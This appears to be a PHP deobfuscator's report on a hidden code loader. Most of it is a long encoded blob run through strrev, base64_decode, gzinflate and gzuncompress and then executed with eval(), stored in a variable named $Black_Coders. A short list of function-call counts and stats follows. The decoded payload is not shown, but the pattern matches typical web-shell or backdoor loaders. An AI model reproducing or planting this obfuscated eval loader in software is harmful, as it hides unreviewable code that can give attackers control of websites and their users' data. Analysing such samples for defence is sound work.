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"; 
eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Black_Coders))))))));
?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 1

Variables

$Black_Coders =ckcf15gnQeuA83+2Rfx904dsvdoyHcJOfNt0Pyt2jlNIf0eTtWbWhdNe9JH..

Stats

MD5 8fcdab77acd608ffe9aa58f2c5b169f8
Eval Count 1
Decode Time 73 ms